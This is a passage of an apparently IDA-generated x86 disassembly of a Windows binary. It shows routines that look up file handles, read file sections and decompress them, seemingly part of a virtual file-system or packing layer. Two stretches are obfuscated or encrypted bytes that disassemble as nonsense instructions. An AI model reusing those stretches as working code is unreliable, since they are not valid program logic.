; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500672
loc_50072E: ; CODE XREF: sub_500672+50j
; sub_500672+9Ej
xor eax, eax
loc_500730: ; CODE XREF: sub_500672+93j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_500672
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500741 proc near ; CODE XREF: sub_4FC3F3+58p
; sub_4FF12B+22p ...
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E388
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 20h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jnz short loc_500772
lea eax, [ebp+var_1C]
mov [ebp+arg_4], eax
loc_500772: ; CODE XREF: sub_500741+29j
mov eax, ds:dword_5118E4
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_500793
mov eax, [ebp+var_28]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_2C], 1
jmp short loc_500797
; ---------------------------------------------------------------------------
loc_500793: ; CODE XREF: sub_500741+3Dj
and [ebp+var_2C], 0
loc_500797: ; CODE XREF: sub_500741+50j
movzx eax, [ebp+var_2C]
test eax, eax
jz loc_500845
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_500809
mov eax, [ebp+var_20]
push dword ptr [eax+8]
call ds:dword_5116A4 ; CloseHandle
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B8E0
mov eax, [ebp+var_20]
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_5083DD
pop ecx
mov eax, [ebp+arg_4]
mov dword ptr [eax], 1
push 0FFFFFFFFh
mov [ebp+var_34], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_34]
jmp short loc_500847
; ---------------------------------------------------------------------------
loc_500809: ; CODE XREF: sub_500741+7Bj
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4FF818
push 0FFFFFFFFh
mov [ebp+var_38], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_38]
jmp short loc_500847
; ---------------------------------------------------------------------------
loc_500829: ; DATA XREF: _6:0050E390o
mov eax, ds:dword_5118E4
mov [ebp+var_30], eax
cmp [ebp+var_30], 0
jz short locret_500844
mov eax, [ebp+var_30]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_500844: ; CODE XREF: sub_500741+F4j
retn
; ---------------------------------------------------------------------------
loc_500845: ; CODE XREF: sub_500741+5Cj
xor eax, eax
loc_500847: ; CODE XREF: sub_500741+C6j
; sub_500741+E6j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
sub_500741 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500858 proc near ; CODE XREF: sub_50A710+12p
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0050093D SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E398
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
cmp [ebp+arg_8], 0
jnz short loc_500889
lea eax, [ebp+var_1C]
mov [ebp+arg_8], eax
loc_500889: ; CODE XREF: sub_500858+29j
mov eax, ds:dword_5118E4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_5008AA
mov eax, [ebp+var_24]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_28], 1
jmp short loc_5008AE
; ---------------------------------------------------------------------------
loc_5008AA: ; CODE XREF: sub_500858+3Dj
and [ebp+var_28], 0
loc_5008AE: ; CODE XREF: sub_500858+50j
movzx eax, [ebp+var_28]
test eax, eax
jz loc_50093D
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_500916
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116FC ; GetFileInformationByHandle
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_4]
and dword ptr [eax+20h], 0
mov eax, [ebp+var_20]
mov eax, [eax]
mov eax, [eax]
mov ecx, [ebp+arg_4]
mov eax, [eax+8]
mov [ecx+24h], eax
push 0FFFFFFFFh
mov [ebp+var_30], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_30]
jmp short loc_50093F
; ---------------------------------------------------------------------------
loc_500916: ; CODE XREF: sub_500858+7Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_500921
jmp short loc_50093D
sub_500858 endp
; =============== S U B R O U T I N E =======================================
sub_500921 proc near ; CODE XREF: sub_500858+C2p
; DATA XREF: _6:0050E3A0o
mov eax, ds:dword_5118E4
mov [ebp-2Ch], eax
cmp dword ptr [ebp-2Ch], 0
jz short locret_50093C
mov eax, [ebp-2Ch]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_50093C: ; CODE XREF: sub_500921+Cj
retn
sub_500921 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500858
loc_50093D: ; CODE XREF: sub_500858+5Cj
; sub_500858+C7j
xor eax, eax
loc_50093F: ; CODE XREF: sub_500858+BCj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_500858
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500950 proc near ; CODE XREF: sub_50A741+Bp
; sub_50A77D+Bp
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 005009FD SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3A8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 14h
push ebx
push esi
push edi
mov eax, ds:dword_5118E4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_500996
mov eax, [ebp+var_20]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_24], 1
jmp short loc_50099A
; ---------------------------------------------------------------------------
loc_500996: ; CODE XREF: sub_500950+31j
and [ebp+var_24], 0
loc_50099A: ; CODE XREF: sub_500950+44j
movzx eax, [ebp+var_24]
test eax, eax
jz short loc_5009FD
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_5009D6
push 0FFFFFFFFh
mov [ebp+var_2C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp short loc_5009FF
; ---------------------------------------------------------------------------
loc_5009D6: ; CODE XREF: sub_500950+6Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_5009E1
jmp short loc_5009FD
sub_500950 endp
; =============== S U B R O U T I N E =======================================
sub_5009E1 proc near ; CODE XREF: sub_500950+8Ap
; DATA XREF: _6:0050E3B0o
mov eax, ds:dword_5118E4
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jz short locret_5009FC
mov eax, [ebp-28h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_5009FC: ; CODE XREF: sub_5009E1+Cj
retn
sub_5009E1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500950
loc_5009FD: ; CODE XREF: sub_500950+50j
; sub_500950+8Fj
xor eax, eax
loc_5009FF: ; CODE XREF: sub_500950+84j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
; END OF FUNCTION CHUNK FOR sub_500950
; ---------------------------------------------------------------------------
loc_500A10: ; CODE XREF: sub_500C5C+2F1p
; sub_501177+1CFp
push ebp
mov ebp, esp
sub esp, 0ECh
push ebx
push esi
push edi
mov eax, [ebp+0Ch]
mov [ebp-0Ch], eax
mov eax, [ebp+10h]
mov [ebp-10h], eax
mov eax, ds:dword_5118F8
mov [ebp-4], eax
mov eax, [ebp+8]
mov eax, [eax]
mov eax, [eax]
mov [ebp-8], eax
mov eax, [ebp-8]
mov eax, [eax+0Ch]
and eax, 30h
cmp eax, 30h
jnz loc_500AD8
mov eax, [ebp-8]
mov eax, [eax+0Ch]
and eax, 2
test eax, eax
jnz short loc_500AD8
mov eax, [ebp-8]
mov ecx, [ebp+0Ch]
sub ecx, [eax+4]
mov [ebp-14h], ecx
mov eax, [ebp-14h]
xor edx, edx
push 8
pop ecx
div ecx
mov [ebp-18h], edx
cmp dword ptr [ebp-18h], 0
jz short loc_500A93
mov eax, [ebp+0Ch]
sub eax, [ebp-18h]
mov [ebp-0Ch], eax
mov eax, [ebp-10h]
add eax, [ebp-18h]
mov [ebp-10h], eax
mov eax, [ebp-4]
add eax, [ebp-18h]
mov [ebp-4], eax
loc_500A93: ; CODE XREF: _5:00500A76j
mov eax, [ebp-10h]
xor edx, edx
push 8
pop ecx
div ecx
test edx, edx
jz short loc_500AB8
mov eax, [ebp-10h]
xor edx, edx
push 8
pop ecx
div ecx
push 8
pop eax
sub eax, edx
mov ecx, [ebp-10h]
add ecx, eax
mov [ebp-10h], ecx
loc_500AB8: ; CODE XREF: _5:00500A9Fj
mov eax, [ebp+8]
mov ecx, [ebp-10h]
add ecx, [eax+4]
mov eax, [ebp-8]
cmp ecx, [eax+8]
jbe short loc_500AD8
mov eax, [ebp-8]
mov ecx, [ebp+8]
mov eax, [eax+8]
sub eax, [ecx+4]
mov [ebp-10h], eax
loc_500AD8: ; CODE XREF: _5:00500A46j _5:00500A57j ...
push 0
push 0
push dword ptr [ebp-0Ch]
mov eax, [ebp+8]
push dword ptr [eax+8]
call ds:dword_511788 ; SetFilePointer
cmp eax, [ebp-0Ch]
jz short loc_500AF7
xor eax, eax
jmp loc_500C55
; ---------------------------------------------------------------------------
loc_500AF7: ; CODE XREF: _5:00500AEEj
push 0
push dword ptr [ebp+14h]
push dword ptr [ebp-10h]
push ds:dword_5118F8
mov eax, [ebp+8]
push dword ptr [eax+8]
call ds:dword_51177C ; ReadFile
test eax, eax
jnz short loc_500B1C
xor eax, eax
jmp loc_500C55
; ---------------------------------------------------------------------------
loc_500B1C: ; CODE XREF: _5:00500B13j
mov eax, [ebp+14h]
mov eax, [eax]
cmp eax, [ebp-10h]
jz short loc_500B2D
xor eax, eax
jmp loc_500C55
; ---------------------------------------------------------------------------
loc_500B2D: ; CODE XREF: _5:00500B24j
mov eax, [ebp-8]
mov eax, [eax+0Ch]
and eax, 1
test eax, eax
jz loc_500C3C
mov eax, [ebp-8]
mov eax, [eax+0Ch]
and eax, 30h
cmp eax, 10h
jnz short loc_500BA9
push offset dword_460000
call near ptr loc_4FDB7D+1 ; CODE XREF: _5:00500B5Bj
sub eax, 7424E45Ah
db 3Eh
jle short near ptr loc_500B51+3
cmpsb
push edi
fisttp dword ptr [edx+esi*4+61h]
clc
lds ebp, [ecx-26h]
db 2Eh ; CODE XREF: _5:loc_500B99j
icebp
and eax, 7EFC9E45h
dec edi
jmp short loc_500B99
; ---------------------------------------------------------------------------
dw 4521h
dd 72A5F15Eh, 0DB928426h, 0E0C5324Fh, 57F284DAh, 0C220AB13h
dd 6D61055Fh, 0A31D6C36h, 90A16E44h, 0E2FDF0E3h
; ---------------------------------------------------------------------------
cmc
loc_500B99: ; CODE XREF: _5:00500B70j
jmp short near ptr loc_500B68+1
; ---------------------------------------------------------------------------
db 0C1h
db 2 dup(90h)
dw 0C033h
dd 0EE75C085h, 93E9h
db 0
; ---------------------------------------------------------------------------
loc_500BA9: ; CODE XREF: _5:00500B4Aj
mov eax, [ebp-8]
mov eax, [eax+0Ch]
and eax, 30h
cmp eax, 30h
jnz short loc_500C32
push 120000h
call near ptr loc_4FDB7D+1
mov esp, 0E59375A9h
lodsd
punpckhwd mm7, mm4
mov bl, 0AEh
xchg eax, edx
enter 493Dh, 20h
add esi, esi
xchg dh, [ebx-683002FDh]
adc [edi-0B71F021h], ebx
mov dl, 34h
; ---------------------------------------------------------------------------
db 8Ch, 0F5h, 65h
dd 975D2033h, 0B1BE20AAh, 97A380A4h, 9FC19C8Fh, 2DDFCC3h
dd 0E1EECB75h, 9276A8BBh, 680CACDAh, 31B9E518h, 0ED0915C7h
dd 0DA20F7ABh, 0DB496D37h, 758264EEh, 9E554C68h, 0DE8DD8CBh
dd 0CE190CFFh, 0A5B28F65h, 0C0339090h, 0EE75C085h
; ---------------------------------------------------------------------------
jmp short loc_500C3C
; ---------------------------------------------------------------------------
loc_500C32: ; CODE XREF: _5:00500BB5j
mov ecx, 0EF000014h
call sub_508342
loc_500C3C: ; CODE XREF: _5:00500B38j _5:00500C30j
mov eax, [ebp+14h]
mov eax, [eax]
cmp eax, [ebp+10h]
jnb short loc_500C4A
xor eax, eax
jmp short loc_500C55
; ---------------------------------------------------------------------------
loc_500C4A: ; CODE XREF: _5:00500C44j
mov eax, [ebp+14h]
mov ecx, [ebp+10h]
mov [eax], ecx
mov eax, [ebp-4]
loc_500C55: ; CODE XREF: _5:00500AF2j _5:00500B17j ...
pop edi
pop esi
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_500C5C proc near ; CODE XREF: sub_50100B+30p
; sub_50100B+EBp
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00500EAD SIZE 0000015E BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E3B8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 68h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_34], eax
mov eax, [ebp+arg_0]
mov ecx, ds:dword_511908
mov eax, [eax]
sub eax, [ecx+8]
sar eax, 4
mov [ebp+var_24], eax
and [ebp+var_28], 0
and [ebp+var_40], 0
jmp short loc_500CB0
; ---------------------------------------------------------------------------
loc_500CA9: ; CODE XREF: sub_500C5C:loc_500CEDj
mov eax, [ebp+var_40]
inc eax
mov [ebp+var_40], eax
loc_500CB0: ; CODE XREF: sub_500C5C+4Bj
cmp [ebp+var_40], 3
jnb short loc_500CEF
mov eax, [ebp+var_40]
imul eax, 18h
mov ecx, [ebp+arg_0]
mov eax, ds:dword_510B7C[eax]
cmp eax, [ecx]
jnz short loc_500CED
mov eax, [ebp+var_40]
imul eax, 18h
mov eax, ds:dword_510B78[eax]
cmp eax, [ebp+arg_4]
jnz short loc_500CED
mov eax, [ebp+var_40]
imul eax, 18h
mov eax, ds:off_510B80[eax]
mov eax, [eax]
jmp loc_500FFA
; ---------------------------------------------------------------------------
loc_500CED: ; CODE XREF: sub_500C5C+6Bj
; sub_500C5C+7Cj
jmp short loc_500CA9
; ---------------------------------------------------------------------------
loc_500CEF: ; CODE XREF: sub_500C5C+58j
lea eax, [ebp+var_48]
push eax
call ds:dword_51172C ; GetSystemTimeAsFileTime
and [ebp+var_4C], 0
jmp short loc_500D06
; ---------------------------------------------------------------------------
loc_500CFF: ; CODE XREF: sub_500C5C:loc_500D4Dj
mov eax, [ebp+var_4C]
inc eax
mov [ebp+var_4C], eax
loc_500D06: ; CODE XREF: sub_500C5C+A1j
cmp [ebp+var_4C], 3
jnb short loc_500D4F
mov eax, [ebp+var_4C]
imul eax, 18h
add eax, offset dword_510B70
mov [ebp+var_74], eax
mov eax, [ebp+var_74]
mov ecx, [ebp+var_44]
cmp ecx, [eax+4]
jl short loc_500D4D
jg short loc_500D31
mov eax, [ebp+var_74]
mov ecx, [ebp+var_48]
cmp ecx, [eax]
jbe short loc_500D4D
loc_500D31: ; CODE XREF: sub_500C5C+C9j
mov eax, [ebp+var_4C]
imul eax, 18h
add eax, offset dword_510B70
mov ecx, [eax]
mov [ebp+var_48], ecx
mov eax, [eax+4]
mov [ebp+var_44], eax
mov eax, [ebp+var_4C]
mov [ebp+var_28], eax
loc_500D4D: ; CODE XREF: sub_500C5C+C7j
; sub_500C5C+D3j
jmp short loc_500CFF
; ---------------------------------------------------------------------------
loc_500D4F: ; CODE XREF: sub_500C5C+AEj
mov eax, [ebp+var_28]
imul eax, 18h
and ds:dword_510B78[eax], 0
mov eax, [ebp+var_28]
imul eax, 18h
and ds:dword_510B7C[eax], 0
mov eax, [ebp+var_28]
imul eax, 18h
add eax, offset dword_510B70
and dword ptr [eax], 0
and dword ptr [eax+4], 0
mov eax, [ebp+var_28]
imul eax, 18h
mov eax, ds:off_510B80[eax]
mov eax, [eax]
mov [ebp+var_3C], eax
mov eax, [ebp+var_24]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
cmp dword ptr [ecx+eax+8], 0
jnz loc_500EAD
mov eax, [ebp+var_34]
mov eax, [eax+8]
add eax, 0FFFFh
shr eax, 10h
mov [ebp+var_54], eax
and [ebp+var_50], 0
and [ebp+var_4], 0
mov eax, [ebp+var_54]
shl eax, 2
push eax
call sub_50835A
pop ecx
mov [ebp+var_6C], eax
mov eax, [ebp+var_6C]
mov [ebp+var_50], eax
and [ebp+var_58], 0
mov eax, [ebp+var_54]
shl eax, 2
mov ecx, [ebp+var_34]
mov ecx, [ecx+4]
sub ecx, eax
mov [ebp+var_5C], ecx
push 0
push 0
push [ebp+var_5C]
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
call ds:dword_511788 ; SetFilePointer
cmp eax, [ebp+var_5C]
jz short loc_500E1B
push 0FFFFFFFFh
and [ebp+var_78], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_78]
jmp loc_500FFA
; ---------------------------------------------------------------------------
loc_500E1B: ; CODE XREF: sub_500C5C+1A4j
push 0
lea eax, [ebp+var_58]
push eax
mov eax, [ebp+var_54]
shl eax, 2
push eax
push [ebp+var_50]
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
call ds:dword_51177C ; ReadFile
test eax, eax
jnz short loc_500E54
push 0FFFFFFFFh
and [ebp+var_7C], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_7C]
jmp loc_500FFA
; ---------------------------------------------------------------------------
loc_500E54: ; CODE XREF: sub_500C5C+1DDj
mov eax, [ebp+var_54]
shl eax, 2
cmp [ebp+var_58], eax
jz short loc_500E78
push 0FFFFFFFFh
and [ebp+var_80], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_80]
jmp loc_500FFA
; ---------------------------------------------------------------------------
loc_500E78: ; CODE XREF: sub_500C5C+201j
mov eax, [ebp+var_24]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov edx, [ebp+var_50]
mov [ecx+eax+8], edx
and [ebp+var_50], 0
or [ebp+var_4], 0FFFFFFFFh
call sub_500E9D
jmp short loc_500EAD
sub_500C5C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_500E9D proc near ; CODE XREF: sub_500C5C+23Ap
; DATA XREF: _6:0050E3C0o
mov eax, [ebp-50h]
mov [ebp-70h], eax
push dword ptr [ebp-70h]
call sub_5083DD
pop ecx
retn
sub_500E9D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_500C5C
loc_500EAD: ; CODE XREF: sub_500C5C+144j
; sub_500C5C+23Fj
mov eax, [ebp+var_24]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov eax, [ecx+eax+8]
mov [ebp+var_30], eax
and [ebp+var_20], 0
and [ebp+var_1C], 0
cmp [ebp+arg_4], 0
jz short loc_500F2D
mov eax, [ebp+var_34]
mov eax, [eax+8]
add eax, 0FFFFh
shr eax, 10h
mov [ebp+var_60], eax
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_60]
jb short loc_500F00
push ds:off_50E4F8
push 93h
push ds:off_50E4FC
call sub_50848C
loc_500F00: ; CODE XREF: sub_500C5C+28Cj
and [ebp+var_64], 0
jmp short loc_500F0D
; ---------------------------------------------------------------------------
loc_500F06: ; CODE XREF: sub_500C5C+2CFj
mov eax, [ebp+var_64]
inc eax
mov [ebp+var_64], eax
loc_500F0D: ; CODE XREF: sub_500C5C+2A8j
mov eax, [ebp+var_64]
cmp eax, [ebp+arg_4]
jnb short loc_500F2D
mov eax, [ebp+var_64]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4]
and eax, 7FFFFFFFh
mov ecx, [ebp+var_20]
add ecx, eax
mov [ebp+var_20], ecx
jmp short loc_500F06
; ---------------------------------------------------------------------------
loc_500F2D: ; CODE XREF: sub_500C5C+273j
; sub_500C5C+2B7j
lea eax, [ebp+var_1C]
push eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4]
and eax, 7FFFFFFFh
push eax
mov eax, [ebp+var_34]
mov eax, [eax+4]
add eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call loc_500A10
mov [ebp+var_38], eax
cmp [ebp+var_38], 0
jnz short loc_500F62
xor eax, eax
jmp loc_500FFA
; ---------------------------------------------------------------------------
loc_500F62: ; CODE XREF: sub_500C5C+2FDj
mov [ebp+var_2C], 10000h
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4]
and eax, 80000000h
test eax, eax
jnz short loc_500FAE
push [ebp+var_1C]
push [ebp+var_38]
lea eax, [ebp+var_2C]
push eax
push [ebp+var_3C]
call sub_50D9F3
add esp, 10h
mov [ebp+var_68], eax
cmp [ebp+var_68], 0
jz short loc_500FAC
push [ebp+var_68]
push offset aBoxReadcompres ; ":BOX:ReadCompressedSection: decompresio"...
call sub_508726
pop ecx
pop ecx
xor eax, eax
jmp short loc_500FFA
; ---------------------------------------------------------------------------
loc_500FAC: ; CODE XREF: sub_500C5C+33Bj
jmp short loc_500FC5
; ---------------------------------------------------------------------------
loc_500FAE: ; CODE XREF: sub_500C5C+31Dj
mov ecx, [ebp+var_1C]
mov esi, [ebp+var_38]
mov edi, [ebp+var_3C]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_500FC5: ; CODE XREF: sub_500C5C:loc_500FACj
mov eax, [ebp+var_28]
imul eax, 18h
mov ecx, [ebp+arg_4]
mov ds:dword_510B78[eax], ecx
mov eax, [ebp+var_28]
imul eax, 18h
mov ecx, [ebp+arg_0]
mov ecx, [ecx]
mov ds:dword_510B7C[eax], ecx
mov eax, [ebp+var_28]
imul eax, 18h
add eax, offset dword_510B70
push eax
call ds:dword_51172C ; GetSystemTimeAsFileTime
mov eax, [ebp+var_3C]
loc_500FFA: ; CODE XREF: sub_500C5C+8Cj
; sub_500C5C+1BAj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_500C5C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50100B proc near ; CODE XREF: sub_501177+16Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_14], eax
mov eax, [ebp+var_14]
shr eax, 10h
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_14]
lea eax, [ecx+eax-1]
shr eax, 10h
mov [ebp+var_4], eax
push [ebp+var_10]
push [ebp+arg_0]
call sub_500C5C
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_501050
xor eax, eax
jmp loc_501171
; ---------------------------------------------------------------------------
loc_501050: ; CODE XREF: sub_50100B+3Cj
mov eax, [ebp+var_14]
xor edx, edx
mov ecx, 10000h
div ecx
mov [ebp+var_8], edx
mov eax, 10000h
sub eax, [ebp+var_8]
cmp [ebp+arg_8], eax
jnb short loc_501074
mov eax, [ebp+arg_8]
mov [ebp+var_18], eax
jmp short loc_50107F
; ---------------------------------------------------------------------------
loc_501074: ; CODE XREF: sub_50100B+5Fj
mov eax, 10000h
sub eax, [ebp+var_8]
mov [ebp+var_18], eax
loc_50107F: ; CODE XREF: sub_50100B+67j
mov ecx, [ebp+var_18]
mov esi, [ebp+var_C]
add esi, [ebp+var_8]
mov edi, [ebp+arg_4]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, 10000h
sub eax, [ebp+var_8]
cmp [ebp+arg_8], eax
jnb short loc_5010AE
mov eax, [ebp+arg_8]
mov [ebp+var_1C], eax
jmp short loc_5010B9
; ---------------------------------------------------------------------------
loc_5010AE: ; CODE XREF: sub_50100B+99j
mov eax, 10000h
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
loc_5010B9: ; CODE XREF: sub_50100B+A1j
mov eax, [ebp+var_1C]
mov [ebp+var_8], eax
loc_5010BF: ; CODE XREF: sub_50100B+15Ej
mov eax, [ebp+var_4]
cmp eax, [ebp+var_10]
jbe loc_50116E
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
cmp eax, [ebp+var_8]
ja short loc_5010F0
push ds:off_50E4F8
push 0BBh
push ds:off_50E4FC
call sub_50848C
loc_5010F0: ; CODE XREF: sub_50100B+CDj
push [ebp+var_10]
push [ebp+arg_0]
call sub_500C5C
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_501108
xor eax, eax
jmp short loc_501171
; ---------------------------------------------------------------------------
loc_501108: ; CODE XREF: sub_50100B+F7j
mov eax, [ebp+arg_8]
sub eax, [ebp+var_8]
cmp eax, 10000h
jnb short loc_501120
mov eax, [ebp+arg_8]
sub eax, [ebp+var_8]
mov [ebp+var_20], eax
jmp short loc_501127
; ---------------------------------------------------------------------------
loc_501120: ; CODE XREF: sub_50100B+108j
mov [ebp+var_20], 10000h
loc_501127: ; CODE XREF: sub_50100B+113j
mov ecx, [ebp+var_20]
mov esi, [ebp+var_C]
mov edi, [ebp+arg_4]
add edi, [ebp+var_8]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+arg_8]
sub eax, [ebp+var_8]
cmp eax, 10000h
jnb short loc_501159
mov eax, [ebp+arg_8]
sub eax, [ebp+var_8]
mov [ebp+var_24], eax
jmp short loc_501160
; ---------------------------------------------------------------------------
loc_501159: ; CODE XREF: sub_50100B+141j
mov [ebp+var_24], 10000h
loc_501160: ; CODE XREF: sub_50100B+14Cj
mov eax, [ebp+var_8]
add eax, [ebp+var_24]
mov [ebp+var_8], eax
jmp loc_5010BF
; ---------------------------------------------------------------------------
loc_50116E: ; CODE XREF: sub_50100B+BAj
push 1
pop eax
loc_501171: ; CODE XREF: sub_50100B+40j
; sub_50100B+FBj
pop edi
pop esi
leave
retn 0Ch
sub_50100B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501177 proc near ; CODE XREF: sub_4FF94C+242p
; sub_4FFFBF+194p ...
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
